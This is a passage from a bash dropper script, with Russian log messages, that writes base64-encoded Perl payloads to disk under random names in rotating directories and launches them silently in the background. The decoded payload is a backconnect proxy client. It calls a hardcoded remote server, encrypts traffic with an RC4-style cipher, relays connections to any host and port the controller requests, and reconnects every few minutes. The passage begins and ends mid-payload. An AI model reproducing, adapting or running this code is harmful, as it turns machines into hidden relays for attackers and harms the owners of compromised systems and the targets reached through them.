ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #22 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #22 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 23 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw 